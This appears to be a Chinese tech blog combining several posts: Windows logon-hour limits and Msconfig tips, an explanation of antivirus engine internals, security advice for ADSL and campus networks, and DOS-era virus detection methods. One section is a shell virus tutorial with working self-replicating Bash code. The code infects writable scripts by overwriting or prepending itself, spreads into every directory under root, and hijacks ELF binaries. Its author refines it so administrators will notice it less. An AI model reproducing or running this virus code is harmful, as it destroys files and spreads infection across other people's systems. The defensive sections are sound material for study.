如果你想为不同的用户设置不同的限制应该怎样做呢?例如,在我们的例子中,我们允许her1可在更晚的时候使用计算机。因此可以执行如下的命令:


net user her1 /time: M-Th,4pm-9pm;F-Su,8am-9pm

(用户her1能在周一到周四的下午4点到晚上9点,以及周五到周日的上午8点到晚上9点可以用计算机。)

这两个命令可为上述的两个账户在平日和周末设置不同的限制。如果你在设置一个账户时出现了错误,或者想从头再来,你可以用这个命令清除所有的限制:


net user her1 /time: all

实际执行时如下:


C:\Documents and Settings\ Administrator >net user her1 /time: all
命令成功完成。
C:\Documents and Settings\ Administrator >

注意:系统是以一个小时作为增量进行限制的,这意味着你只能以一个小时为单位对用用户进行限制(举例来说,13:00或 1pm, 而不是13:30 或 1:30pm)。你还可以使用一周的七天的缩写,如M,T,W,Th,F,Sa,Su。此外,记住,这些限制不会强制用户下网,而只能限制其登录时间。

控制对计算机和互联网的访问并非难事,如果你还没有实施这个行动的话,笔者建议你这样做。

注:以上命令在Windows XP专业版中运行通过
Tags: , ,
朋友们在使用电脑过程中,肯定会碰到各种各样的问题:如怎么管理电脑的自启动程序、如何查看加载的系统服务、怎样从安装光盘提取丢失的系统文件等。  

  为了解决类似问题,微软在系统中提供了一个实用工具——系统配置实用程序(Msconfig)。  
  以系统管理员身份登录系统后,单击“开始→运行”输入“Msconfig”回车后即可启动系统配置实用程序(图1)。下面笔者就结合几个应用实例来详细介绍Msconfig的使用(以WinXP为例)。

  一般选择项,其实里面另有乾坤

  “一般”选项不一般

  1.选择启动方式  

  默认情况下,Windows采用的是正常启动模式(即加载所有驱动和系统服务),但是有时候由于设备驱动程序遭到破坏或服务故障,常常会导致启动出现一些问题,这时可以利用Msconfig的其它启动模式来解决问题。单击 “一般”选项,在“启动模式”选择“诊断启动”(图2),这种启动模式有助于我们快速找到启动故障原因。此外,还可以选择“有选择的启动模式”,按提示勾选需要启动项目的即可。

  诊断启动方式仅仅加载基本的驱动与服务

  小提示:诊断启动是指系统启动时仅加载基本设备驱动程序如显卡驱动,而不加载Modem、网卡等设备,服务也仅是系统必须的一些服务。这时系统是最干净的,如果启动没有问题,可以依次加载设备和服务来判断问题出在哪里。

  2.从安装光盘提取丢失系统文件  

  虽然WinXP具备强大的文件保护功能,不过有时候由于安装/卸载软件或误操作,还是经常会造成系统文件的丢失。一般重要的系统文件,在系统安装光盘CAB文件中都可以找到。单击上图“展开文件”按钮,在弹出窗口中设置要还原文件、还原位置、保存文件到(选择保存文件路径,WinXP/2000一般为c:\windows\system32,Win98则为c:\windows\system),最后单击“展开”(图3),系统会自动解压CAB文件,将系统文件从安装光盘提取到电脑。

  从安装盘抽取文件到系统
 小知识:  

  可以先用系统的SFC命令来扫描系统文件的改动,找出变化的系统文件,命令格式:SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]  

  /SCANNOW:立即扫描所有受保护的系统文件。  

  /SCANONCE:下次启动时扫描所有受保护的系统文件。  

  /SCANBOOT:每次启动时扫描所有受保护的系统文件。  

  /REVERT:将扫描返回到默认设置。  

  /PURGECACHE:清除文件缓存。  

  /CACHESIZE=x:设置文件缓存大小。 

  查看System.ini和Win.ini文件

  System.ini包含整个系统的信息,是存放Windows启动时所需要的重要配置信息的文件。Win.ini则控制Windows用户窗口环境的概貌(如窗口边界宽度、加载系统字体等)。通过 Msconfig可以快速地查看和编辑这两个INI文件,如单击主界面的“Win.ini”文件,可以看到该文件的详细内容(图4),如果要禁止某一选项的加载,只要选中目标后单击“禁用”即可;同理,选中目标后单击“编辑”可以对该项目进行编辑操作(单击退格键可以删除该项目)。SYSTEM.INI的操作同上。

  这里存放着系统重要的信息

  小提示:因为这两个文件项目会在系统启动时被加载,所以一些木马也常常混迹其中,比如在Win.ini文件中发现诸如“Load=某程序”、“Run=某程序”的语句,这时可以用Msconfig的“编辑”功能将其删除。

  轻松管理多重启动

  在Windows NT类的操作系统(Windows NT/2000/XP/2003)中,都有一个特殊文件 “Boot.ini”,它可以管理多操作系统启动,但是它默认具有隐藏、系统、只读属性。要查看和编辑它,需要打开我的电脑,单击“工具→文件夹选项→查看→高级设置”,将文件夹视图设置为“显示所有文件和文件夹”,同时去除“隐藏受保护的操作系统文件”前的小钩,最后还要去除它的“只读”属性。

  现在利用Msconfig操作就简捷多了。比如笔者安装的是WinXP+Windows 98双系统,默认启动系统是WinXP,等待时间是30秒,现在想把默认启动系统更改为Windows 98、等待时间缩短为10秒。单击主界面的“BOOT.INI”,选中“C:\Microsoft windows98”这一行,单击“设为默认”,然后将“超时”的时间设置为10秒(图5),最后单击确定重启后即可生效。这样无需进行其它操作,在Msconfig中即能轻松实现对该文件的编辑。

  多重启动的菜单项就是这里控制的

  Boot.ini是系统启动的关键文件,修改不当可能会导致系统无法启动,修改前建议做好文件的备份,修改后单击图5的“检查所有启动路径”检测一下文件。  

  清清楚楚看服务

  大家知道很多系统服务会随Windows一起启动,而一些软件也常常把自己的一些组件注册为系统服务,特别是一些病毒/木马注册为系统服务后,它们常常躲在后台“为非作歹”,而且不容易被察觉。

  如何查看系统已经运行和其它软件注册了的服务呢?单击主界面的“服务”,Msconfig会列出系统所有的服务,在“基本”选项还可以查看到该服务是否是系统的基本服务,通过“制造商”、“状态”可以知道服务提供商和运行状态(图6)。

  这里可以看到服务提供商和运行状态

  要启动停止的服务,在服务名前打上小钩即可启动。勾选“隐藏所有Microsoft服务”,此时列出的就是其它软件注册的系统服务(图7),通过“制造商”大体可以判断出服务是否是病毒/木马,如笔者电脑上的“Norton Antivirus自动防护服务”,制造商为“Symantec Corporation”(赛门特克公司),就是诺顿杀毒软件注册的服务,而“YZW”这个服务则极为可疑,经检查它正是一个木马。

  可以禁用不需要的服务

  小提示:要查看服务的详细说明,在桌面右击“我的电脑”,选择“管理”,在弹出窗口依次展开“计算机管理(本地)/应用程序和服务/服务”,即可在右侧窗口看到所有服务及详细描述。

  管理自启动程序

  自启动程序是随Windows一起启动的各种程序,它们开机后即可被自动加载(一些病毒、木马也常常搭自启动“便车”危害系统)。在Windows中加载自启动程序的地方有很多,如“Documents and Settings/All Users /「开始」菜单/程序”目录下的启动文件夹、注册表键值 如[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]等。  
  网上介绍过许多专门管理自启动程序的软件,其实Msconfig的自启动管理功能并不比这些软件差。单击主界面的“启动”便可列出电脑所有的自启动项目(图8),这里列出启动项目名称、程序所在路径和启动位置,对于加载在注册表启动的程序,它还给出了详细的键值提示而无需打开注册表编辑器,如C:\WINDOWS\System32\ctfmon.exe (系统输入法程序),它便是通过HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run这个键值来实现自启动的。

  系统启动也由你一手控制

  对于异常的自启动程序如木马等,可以通过Msconfig的提示路径来进行查杀。

Tags: ,

窥探杀毒软件引擎相关技术

[ 2007/05/20 01:22 | by pling ]

病毒和反病毒产品是天生的冤家,由于病毒永无休止的存在,反病毒产品这片领域自然也会出现众多厂商来分割的局面,因此也就衔生出了多种杀毒引擎技术

杀毒引擎是决定一款杀毒软件技术是否成熟可靠的关键,什么是杀毒引擎呢?简言之,它就是一套判断特定程序行为是否为病毒程序或可疑程序的技术机制,引擎不仅需要具备判断病毒的能力,还必须拥有足够的病毒清理技术和环境恢复技术,如果一款杀毒产品能查出病毒但是却无法清除、或者无法将被病毒破坏的系统环境成功恢复,那它也只能是鸡肋。为了达到查杀病毒的目的,杀毒引擎自身要实施的行为就要比病毒还病毒,例如,为了及时获得环境变动的监控数据,一些杀毒引擎采用DLL的钩子技术将自身注入系统进程中,这一行为和DLL木马无异;而为了成功拦截查杀驱动级别木马Rootkit,杀毒引擎更需要将自身的一部分作为驱动形式运行,以便进入系统内核领域……说到这里,一些计算机配置较低的用户应该能明白,为什么自己安装杀毒软件后计算机速度明显变慢了,这多半是因为杀毒软件的“文件监控”等功能导致的,因为这一功能的实现原理就如文件型病毒的寄生过程一样,只不过文件型病毒是守候在内存中伺机感染每一个打开的文件,而“文件监控”功能是时刻驻守在内存里检查每一个打开的文件是否存在病毒,两者导致的后果都是程序载入内存的时间增加,在低配置的计算机表现得比较明显罢了。

1.守住每一个关卡——程序行为捕获

每个程序运行时都需要进行各种交互动作,如收发网络数据、响应某个触发事件、文件读写操作等,这些交互都被称为“行为”(Action),这个周期过程是可以被跟踪记录的,这就是杀毒引擎必须干涉的第一步,当杀毒软件的环境监视模块启动后,它会嵌入系统的操作接口,使得任何非核心程序和除了杀毒软件自身程序的运作过程都要被它实时监视,这一技术通常通过钩子技术和驱动层挂载实现,每个杀毒软件厂商都预先定义了一套病毒行为判断规范,即在一个给定的范围和置信度下,判断相关操作是否为合法。例如一个代码执行后被发现试图将自己写入用户请求执行的程序文件体内、或进行特定的复制动作和添加注册表操作,则可将其怀疑为病毒,移交给查毒过程的第二步进一步判断处理。

一部分厂商因为与操作系统厂商存在合作关系,因而获得了较其他厂商杀毒产品要高的操作系统特权,所以他们采用的方案是基于系统最底层的系统核心驱动,这种实现方式是最安全的,或者说最高级的实现方式,至今只有Norton获得了这个特权。随着病毒技术逐渐渗透到Rootkit层次,过去的Hook技术逐渐有点力不从心,于是杀毒厂商开始转入驱动方案,当然,由于没有操作系统厂商的授权,他们并无法实现最底层的核心驱动解决方案,于是杀毒厂商编写了一个称为“软件驱动”的中间件,用于在系统中产生一个虚拟硬件。众所周知,在操作系统中,只有驱动模块能通过一个“硬件抽象层(HAL)”的通讯接口而到达系统底层,如今流行的Rootkit木马也是采用驱动形式进入系统核心的,因此杀毒厂商使用“软件驱动”来实现底层监视的方案是要比一般的Hook技术效果显著的,但是这也不可避免会出现一些问题,如果这个“软件驱动”存在缺陷或者被某些程序异常终止(例如出现未预料的错误),在系统底层无任何保护措施的环境下,最直接的一个后果就是系统蓝屏崩溃,造成可能的损失。

小知识:系统的几个“层”

操作系统作为一个复杂的运作体系,其内部是必须实现一定的功能模块来进行分工合作的,这些功能模块像金字塔一样层层堆积,形成了系统的几个“层”,分别是系统核心层、硬件抽象层、用户层。

系统核心层(Kernel Layer)位于整个操作系统的最底层,负责系统的基本运作,在这一层里的所有行为都由系统内置的指令来实现,所有外界因素都不会对这一处的行为造成影响。能直接进入这个层交互的程序不多,除了操作系统自身,第三方厂商若要能在此层直接工作,必须和系统厂商建立合作关系,使用系统厂商提供的接口函数才能进入。目前能在这个层面直接工作的杀毒软件只有赛门铁克的Norton AntiVirus。

硬件抽象层(Hardware Abstraction Layer)是美国微软公司为了便于操作系统在不同硬件结构上进行移植而提出的将系统底层与硬件相关的部分独立运作的思想,HAL为系统实现了“硬件无关性”,即在不同的硬件平台上,硬件与操作系统的交互也不会有所差异,这样一来,硬件厂商开发驱动的难度便能大大降低,HAL将硬件的接口细节隐藏起来,并为操作系统提供一个标准硬件交互接口,目前所有的硬件驱动都工作在这个层面上,当外界硬件存在指令请求时,驱动程序响应请求并将指令通过HAL转换为系统核心层能理解的指令交给内核执行,如果未找到相应的驱动程序类型,则将其视为“默认硬件”(Default Hardware)处理,什么叫“默认硬件”呢?最简单的例子就是进入安全模式,这时候大部分驱动程序不会被加载,此时的系统便是工作于“默认硬件”上。大部分使用“软件驱动”解决方案的杀毒软件就是在HAL层上虚拟了一个硬件来达到与核心层交互的效果,如McAfee、卡巴斯基等,瑞星2006也是通过这个方案实现了内核交互。

用户层(User Layer)就是平时我们直接看到的部分,例如桌面,大部分杀毒软件也是在这一层运行的,主要用于用户接口交互和将指令传递到杀毒引擎。一般运行于Ring3的程序行为也产生于此,一个应用程序产生的指令要求首先被传递到HAL层,HAL层将其解释处理为核心层可以识别的指令串,然后提交给核心层最后进入CPU的指令处理循环,CPU处理完毕后将结果反向送回到用户层上的应用程序,最终得到运算结果。

2.检测的核心——基于引擎机制的规则判断

这一步环节可以称之为病毒判断的核心阶段,一个好的杀毒引擎能在这个阶段识别出相当规模的病毒,其原理是在引擎中内置一部分病毒的特征代码,称为“基于特征码的静态扫描技术”,即杀毒引擎直接在文件中查找自身携带的特征代码.

3.在翰林辞典中穿梭——引擎与病毒特征库的交互

由于上述原因,如今的杀毒软件已经不得不采用外部数据库连接的方法来达到识别病毒的效果,病毒特征代码数据库中以特定格式储存了各种病毒的行为标识和静态代码,在工作时,杀毒引擎需要将捕获到的程序行为转换为它自身可以识别的行为标识和静态代码,然后进入病毒特征代码数据库中查询并期待其返回查询结果,因此这个步骤是整个杀毒过程中最慢的,但是不可否认,当前的杀毒软件对大量病毒的识别都是在这个阶段完成的。因此一个足够庞大的病毒库往往能够弥补杀毒引擎的不足之处,但是当今病毒越发复杂和繁多,如此长期以往,病毒特征库将会有一天过于臃肿而导致不良后果,要解决这个问题,只能在核心技术上尽量实现将病毒检测工作在第二步完成,只可惜在当前我们仍然没有能够实现这个想法的杀毒引擎技术,因此如今的杀毒软件或多或少都依赖着一个几十MB的病毒特征库来维持工作,杀毒厂商在杀毒引擎核心未进行关键修改时发布的病毒更新其实也就是为了往这个特征数据库中添加最新发现的病毒数据,以达到查杀新病毒的作用。

“基于特征码的静态扫描技术”的最大弱点在于它无法发现和查杀“未公开”或“未收录”的病毒,由于它的大部分判断依据来自病毒特征代码数据库,一旦用户被感染了病毒中的“0day”或“私人后门”,杀毒软件就无能为力,甚至落得个被病毒终结运行的下场,当然,由于杀毒软件自身的校验机制,一般不会有病毒愚蠢到去感染杀毒软件,但是如果一个杀毒软件被病毒终止了,它就无法对用户的计算机实施病毒防护了,但是如何判断阻止由病毒发出的关闭指令,而不影响用户正常点击杀毒软件自身提供的“退出”功能,这也是个难题。

一部分杀毒引擎会通过自身的病毒行为判断规范来“怀疑”某些未收录在数据库中的程序为病毒,并询问用户需要什么解决方案,一般情况下,杀毒软件最折衷的默认解决方案是将被怀疑动机不纯的程序文件改名备份到一个被称为“隔离区”的文件夹中,然后将该原始文件销毁。这样做或许能达到查杀未知病毒的目的,但是我们也不能忽视其可能带来的严重后果,例如某个关键文件或重要文档感染了病毒,如果杀毒软件不由分说就将其消灭,那就很可能引发系统崩溃甚至经济损失,因为一个健全稳妥的查杀过程和环境恢复是很重要的。

4.月光宝盒——病毒查杀和系统环境恢复

当杀毒引擎检测到病毒时,需要分为两种情况对待,首先是尚未来得及进行感染或破坏行为的病毒,在这种情况下杀毒引擎只需要简单删除文件就可以了,但是日常操作中用户面临最多的还是已经被病毒实施感染破坏行为后的系统环境,在这种情况下,杀毒引擎必须在使用适当的方式查杀病毒后,根据病毒特征库中记录的病毒行为来智能判断当前系统环境遭受破坏的情况并进行恢复,例如对于受病毒感染的文件,杀毒引擎必须根据一定的算法在文件体内找出病毒代码寄生的部分并给予清除,这个过程必须非常谨慎,否则直接的后果就是导致原文件被破坏,这样的杀毒就毫无意义了。而对于非文件型的木马和恶意程序,由于它们会通过各种方式篡改系统注册表甚至系统文件来达到加载自身之目的,杀毒引擎在清除了这些病毒后能否准确有效的恢复受破坏的系统环境,就是对杀毒引擎的最大挑战。病毒隐藏技术已经从最初的简单加载单一启动项,演化到今天的多重启动项、进程互相保护、线程监视、远程注射、可执行文件关联、服务项目加载、驱动形式加载等方式,甚至采用多项结合的方法,使得查杀工作变得十分困难,甚至只要遗漏了一个文件未能清除,病毒便能卷土重来,因此,如何有效准确的判断和修复受损环境,也是衡量杀毒引擎技术是否成熟的关键。

以上说的是杀毒引擎完整工作过程的原理,那么,它所采取的技术有哪些呢?目前,主流的技术有两种:虚拟机技术、实时监控技术。除此之外,还有两种最新的技术仍在试验阶段,分别是智能码标识技术和行为拦截技术

1.虚拟机技术

一提起虚拟机,部分读者可能就会联想到VMWare去了,然而这里提到的虚拟机并非如此。在反病毒界里,虚拟机也被称为通用解密器,已经成为反病毒软件中最重要的部分之一。杀毒引擎的虚拟机技术并非是为病毒提供一套计算机仿真系统,让其在内部折腾直到暴露出病毒行为特征,在这里的虚拟机是指杀毒引擎模拟出一个仿真CPU,这个“CPU”具备和真正CPU等同的指令分析功能,杀毒引擎将待检测的程序代码读入“CPU”中逐条指令循环执行,直到出现特定情况才结束工作,在这个过程中探知程序是否具备病毒行为特征或者暴露出病毒特征码。这就是杀毒引擎的“虚拟机技术”,它的目的就是让程序文件在没有实际运行的情况下得到运行后的结果,最初虚拟机技术是为了对付变形病毒而产生的,因为变形病毒会将自身代码以一定的方式进行多次变换,这样传统静态特征码扫描技术就对其无能为力,因为它根本无法确认特征码,但是即使再强悍的变形病毒也不可避免在运行时出现一段相对固定的机器码,否则它自身也无法正常运行完成变形过程,而由于这段机器码只有在运行时才能被捕获到,因此工程师开发了“虚拟机技术”诱使病毒在杀毒引擎产生的“CPU”里尽情运行,而后根据其固定机器码匹配病毒特征数据库中的静态特征来判断这个程序是否病毒。虽然这个技术可能会导致误报,但是仍不能否认其是一种有效的方法。

2.实时监控技术

实时监控技术,说白了其实就是一个文件监视器,它会在文件打开、关闭、修改等操作时将其拦截并送入查毒模块进行分析,而在如今的操作系统中要实现对所有文件操作的拦截并非易事,这需要涉及系统核心,因此,这里所采取的方案原型,就是“软件驱动”。通过驱动进入核心,便能获知每个文件的操作情况并做出反应了。这项技术的难度在于驱动代码的编写,由于内核没有异常处理过程,在这里执行的代码稍有一点错漏都能直接导致系统崩溃,且驱动与用户层的实时交互也需要一套复杂的实现方案,因此只有一定实力的厂家才实现这项技术,且实现了这项技术的厂家大部分都会连同虚拟机技术、静态特征码扫描技术一起结合起来,最终形成自己的产品。

【编后语:最有效的杀毒技术还是特征码!】

Tags: , , ,
ADSL 作为应用最广泛的宽带上网方式之一,得到了很多用户的喜爱。但病毒也会利用 ADSL 的速度优势进入用户电脑,有研究显示,如果不安装必要的措施进行防护, ADSL 用户上网几十分钟后就会遭病毒感染。

  因此,ADSL 用户应该采取以下措施保护自己的安全:

  安装杀毒软件和个人防火墙,并记得及时升级(瑞星杀毒软件每个工作日升级三次,尽量设置好升级频率)。

  注意打好系统补丁,建议采用安全性较好的操作系统。因为微软已经对某些操作系统例如 Window 98停止了技术支持,使用这些系统可能造成安全风险。

  玩游戏或者使用网络银行时,一定要开启杀毒软件的实时监控功能和个人防火墙,进行防护。

  如果不愿意出门购买光盘介质的单机版杀毒软件,可以应用瑞星杀毒软件下载版,但要注意的是,瑞星下载版软件不包括个人防火墙,最好另外安装个人防火墙下载版,才可以构成一个比较完整的防护体系。

  如果使用IE浏览器上网,最好安装“卡卡安全助手”,它可以阻止弹出式广告窗口和浏览器插件,比较好的保护用户的安全。

Tags: , ,
跟普通网络不同,教育网络往往网络环境复杂,而且学生的动手能力极强,有些人可能采用攻击网络、编写病毒等方式危害网络安全,因此,教育网的用户应该采取比较严格的防范措施:

  安装杀毒软件和个人防火墙,并记得及时升级(瑞星杀毒软件每个工作日升级三次,尽量设置好升级频率)。

  注意打好系统补丁,建议采用安全性较好的操作系统。因为微软已经对某些操作系统例如 Window 98 停止了技术支持,使用这些系统可能造成安全风险。

  充分利用用户帐户的安全性,对电脑进行一般操作如玩游戏、上网时应使用一般权限账户,不要用管理员账户。

  尽量对个人防火墙和 IE 浏览器采用高安全设置,尤其是玩网络游戏、使用网络银行的时候更应小心。

  如果电脑运行出现异常,如莫名其妙的运行变慢、程序出现未知错误、浏览器上出现不明用途的链接等,最好采用瑞星杀毒软件、瑞星杀毒软件下载版或瑞星在线杀毒对电脑进行全面扫描。

Tags: ,
主要的shell病毒技术
-------------------
  当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
  ok!我们进入正题!
  我们来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    <-取自身保存到.test
for file in *      <-遍历文件系统
do
 if test -f $file    <-判断是否为文件
 then
   if test -x $file    <-判断文件是否可执行
   then
      if test -w $file  <-判断文件是否可写
      then
       if grep -s echo $file >.mmm  <-判断是否为脚本程序
       then
        head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行
        if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染
        then
        rm -f .mm      <-已经被感染,则跳过
        else        <-还未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了
--------------------------------------------------------
#infection
xtemp=$pwd        <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do      <-遍历/目录
if test -d $dir ; then    <-如果是目录就cd该目录
 cd $dir
 for file in * ; do      <-遍历该目录文件
  if test -f $file && test -x $file && test -w $file ; then  <-确定文件是否可执行,可写
  if grep -s echo $file > /dev/nul ; then      <-确定是否为脚本程序
   head -n 1 $file > .mm
   if grep -s infection .mm > /dev/nul ; then    <-确定是否已经被感染
    rm .mm -f ; else
    cat $file > /.SAVEE        <-和前面的感染机制一样感染未被感染的脚本程序
    cat /.test > $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
fi
done
cd $xtemp    <-返回原目录
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
-------------------------------------------------------------
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
fi; fi
done
.$0
Tags: ,

病毒要进行传染,必然会留下痕迹。生物医学病毒如此,电脑病毒也是一样。检测电脑病毒,就要到病毒寄生场所去检查,发现异常情况,并进而验明“正身”,确认电脑病毒的存在。电脑病毒静态时存储于硬盘中,被激活时驻留在内存中,因此对电脑病毒的检测可以分为对硬盘的检测和对内存的检测。

一般对硬盘进行病毒检测时,要求内存中不带病毒,因为某些电脑病毒会向检测者报告假情况。例如“4096”病毒在内存中时,查看被它感染的文件,不会发现该文件的长度已发生变化,而当在内存中没有病毒时,才会发现文件长度已经增lk了4096字节;又例如,“DIR2”病毒在内存中,用Debug程序查看被感染文件时,根本看不到“DIR2”病毒的代码,很多检测程序因此而漏过了被感染的文件;还有引导区型的“巴基斯坦智囊”病毒,当它活跃在内存中时,检查引导区就看不到病毒程序而只看到正常的引导扇区。因此,只有在要求确认某种病毒的类型和对其进行分析、研究时,才能在内存中带毒的情况下作检测工作。  

从原始的、未受病毒感染的DOS系统软盘启动,可以保证内存中不带病毒。启动必须是上电启动而不是按键盘上的“Alt+Ctrl+Del”三键的那种热启动,因为某些病毒可以通过截取键盘中断,将自己驻留在内存中。检测硬盘中的病毒,启动系统软盘的DOS版本号应该等于或高于硬盘内DOS系统的版本号。如果硬盘上使用了硬盘管理软件DM、ADM,硬盘压缩存储管理软件Stacker、DoubleSpace等,启动系统软盘时应把这些软件的驱动程序包括在软盘上,并把它们写入config.sys文件中,否则用系统软盘引导启动后,将不能访问硬盘上的所有分区,使躲藏在其中的病毒逃过检查。  

检测硬盘中的病毒可分成检测引导区型病毒和检测文件型病毒。这两种检测的原理上相同,但由于病毒的存储方式不同,检测方法还是有差别的。主要是基于下列四种方法:比较被检测对象与原始备份的比较法;利用病毒特征代码串进行查找的搜索法;搜索病毒体内特定位置的特征字识别法;运用反汇编技术分析被检测对象,确证是否为病毒的分析法。   

比较法  

这是用原始备份与被检测的引导扇区或被检测的文件进行比较的方法,可以用打印的代码清单(比如Debug的D命令输出格式)进行比较,也可用程序来进行比较(如DOS的DISKCOMP、COMP或PCTOOLS等其它软件)。比较法不需要专用的查病毒程序,只要用常规DOS软件和PCTOOLS等工具软件就可以进行,而且还可以发现那些尚不能被现有的杀毒软件发现的计算机病毒。因为病毒传播得很快,新病毒层出不穷,而目前还没有能查出一切病毒的通用程序,或通过代码分析,可以判定某个程序中是否含有病毒的查毒程序,所以只有靠比较法和分析法,或这两种方法相结合来发现新病毒。 对硬盘的主引导区或对DOS的引导扇区作检查,用比较法能发现其中的程序源代码是否发生了变化。由于要进行比较,因此保留好原始备份是非常重要的。制作备份时必须在无电脑病毒的环境里进行,制作好的备份必须妥善保管,写好标签,贴好写保护。比较法的好处是简单、方便,不用专用软件;缺点是无法确认病毒的种类名称。另外,造成被检测程序与原始备份之间差别的原因尚需进一步验证,以查明是电脑病毒造成的,还是DOS数据被偶然原因,如突然停电、程序失控、恶意程序等破坏的。这些要用到以后讲的分析法,查看变化部分代码的性质,以此来确认是否存在病毒。  

搜索法  

这种方法主要是对每一种病毒含有的特定字符串进行扫描,如果在被检测对象内部发现了某一种特定字节串,就表明发现了该字节串所代表的病毒。国外称这种按搜索法工作的病毒扫描软件为“Scanner”。这种病毒扫描软件由两部分组成:一部分是病毒代码库,含有经过特别选定的各种电脑病毒的代码串;另一部分是利用该代码库进行扫描的扫描程序,病毒扫描程序能识别的电脑病毒的数目完全取决于病毒代码库内所含病毒种类的多少。病毒代码串的选择是非常重要的,短小的病毒代码只有一百多个字节,长的也只有10KB字节。一定要在仔细分析程序之后选出最具代表特性的,足以将该病毒区别于其它病毒和该病毒的其它变种的代码串。一般情况下,代码串是由连续若干个字节组成的,但是有些扫描软件采用的是可变长串,即在串中包含有一个到几个“模糊”字节。扫描软件遇到这种串时,只要除“模糊”字节之外的字串都能完好匹配,就也能够判别出病毒。另外,特征串还必须能将病毒与正常的非病毒程序区,不然就会出现“假报、误报”。  

特征字识别法  

这是基于特征串扫描法发展起来的一种方式,运行速度较快、误报频率较低。特征字识别法只须从病毒体内抽取很少的几个关键特征字,组成特征字库。由于需要处理的字节很少,又不必进行串匹配,因此大大加快了识别速度,当被处理的程序很大时,用这种办法比较合适。由于特征字识别法更注意电脑病毒的“程序活性”,因此减少了错报的可能性。使用基于特征串扫描法的查病毒软件方法与使用基于特征字识别法的查病毒软件方法是一样的,只要运行查毒程序,就能将已知的病毒检查出来。这两种方法的使用,都须要不断地对病毒库进行扩充,一旦捕捉到病毒,经过提取特征并加入到病毒库,就能使查病毒程序多检查出一种新病毒来。  

分析法

这种方法一方面可以确认被观察的磁盘引导区和程序中是否含有病毒,另一方面可以辨认病毒的类型和种类,判定是否为一种新病毒,另外还可以搞清楚病毒体的大致结构,提取用于特征识别的字节串或特征字,增添到病毒代码库中供病毒扫描和识别程序使用。同时,详细地分析病毒代码,还有助于制定相应的反病毒方案。与前三种检测病毒的方法不同,使用分析法检测病毒,除了要具有相关的知识外,还需要使用Debug、Proview等分析工具程序和专用的试验用计算机。因为即使是很精通病毒的技术人员,使用性能完善的分析软件,也不能完全保证在短时间内将病毒代码分析清楚;而病毒则有可能在被分析阶段继续传染甚至发作,把软盘、硬盘内的数据完全毁坏掉,所以分析工作必须在专门的试验用PC机上进行,不怕其中的数据被破坏。不具备必要的条件,不要轻易开始分析工作。很多电脑病毒采用了自加密、抗跟踪等技术,使得分析病毒的工作经常是冗长枯燥的。特别是某些文件型病毒的源代码可达10KB以上,与系统的牵扯层次很深,使详细的剖析工作十分复杂。病毒检测的分析法是反病毒工作中不可或缺的重要技术,任何一个性能优良的反病毒系统的研制和开发都离不开专门人员对各种病毒详尽、认真的分析。  

